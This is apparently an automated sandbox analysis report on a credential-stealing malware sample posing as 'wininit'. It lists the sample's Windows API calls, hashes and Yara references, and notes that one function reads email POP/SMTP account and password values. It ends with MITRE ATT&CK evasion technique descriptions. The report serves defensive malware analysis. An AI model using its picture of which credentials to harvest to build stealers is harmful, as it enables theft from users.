Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Function 0040642C Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Function 004044A7 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction ID: e6a1e737d40be81796f932fb1ea6dd5b05bd2579ff383e5fb5a00b3a8c54de51
Opcode Fuzzy Hash: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction Fuzzy Hash: 52D0C27604410DBFDF025EE1DC05CAB3F6EEB48354B408425BE2895021D637DA71ABA5

Function 004049B3 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI(?,?,?,?,?,?,00000002,DC1011D7,00000000,00000000), ref: 004049D8

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction ID: 49132b90e07f175002bb52db16c83daeb6fc20f74050e769a3614ef6a11dfcc0
Opcode Fuzzy Hash: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction Fuzzy Hash: 71D0923214020DBBDF026ED1DC02FAA3F2AAB09758F104014FB18280A1C677D631AB95

Function 00404EEA Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Function 004049DC Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

SHEnumKeyExW.SHLWAPI(?,?,?,?,00000002,ECA4834B,00000000,00000000), ref: 004049FB

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction ID: fb20b8ae34c3d99b6a2ec1f59af3280c7c0bbdac25ffdbb9458fe1f208d0831b
Opcode Fuzzy Hash: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction Fuzzy Hash: 45D0023114430D7BEF115ED1DC06F597F1ABB49B54F104455BB18680E19673A6305755

Function 00403BD0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Function 00404DF3 Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Function 00404A19 Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Function 00403C08 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Function 00402C1F Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Function 00408B2C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,00000000,E0CF5891,00000000,00000000), ref: 00408B41

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction ID: 291ca984118c00001a410e8fe814b9ebecee15bf7cc635df9db1cfcd8d33b31d
Opcode Fuzzy Hash: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction Fuzzy Hash: 0EB092B004820C3EAE002EF19C05C3B3E8DEA4454870044757E0CE5051EA36DE1110A5

Function 00403BEF Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Function 00403BB7 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Function 004049FF Relevance: 1.5, APIs: 1, Instructions: 11registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Function 00403B64 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Function 00404ED4 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Function 00404DE5 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Function 004044EE Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Part of subcall function 004044A7: GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

GetLastError.KERNEL32 ref: 00404585

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateErrorFreeLastPrivateProfileString
String ID:
API String ID: 4065557613-0
Opcode ID: 07df6e299c1e51546a6fce8a11171accc3f3248d34e9f20b559e9614b6af16c3
Instruction ID: 4921b4961515552709d35feb502e82dc384c9b3b90426e204c6f6ec5e0b55acd
Opcode Fuzzy Hash: 07df6e299c1e51546a6fce8a11171accc3f3248d34e9f20b559e9614b6af16c3
Instruction Fuzzy Hash: 901157B26011043BEB249EA9AD46F7FB768DF84368F10413FFB05E61D0EA789C00069C

Function 00403F9E Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Function 00403C40 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Function 00406472 Relevance: 1.3, APIs: 1, Instructions: 12sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Non-executed Functions

Function 0040434D Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Function 0040D069 Relevance: 12.6, Strings: 10, Instructions: 138COMMON

Download Yara Rule

Strings

PopPort, xrefs: 0040D0A7
SmtpAccount, xrefs: 0040D0FA
PopPassword, xrefs: 0040D0D0
SmtpPort, xrefs: 0040D0EB
EmailAddress, xrefs: 0040D074
Technology, xrefs: 0040D08D
PopAccount, xrefs: 0040D0B6
PopServer, xrefs: 0040D099
SmtpPassword, xrefs: 0040D117
SmtpServer, xrefs: 0040D0DC

Memory Dump Source

Source File: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 3660427363-2111798378
Opcode ID: b68ba21e4a3a0049e44e4174c680ab59653fe0191a5276204f50c9857b9783d9
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: b68ba21e4a3a0049e44e4174c680ab59653fe0191a5276204f50c9857b9783d9
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

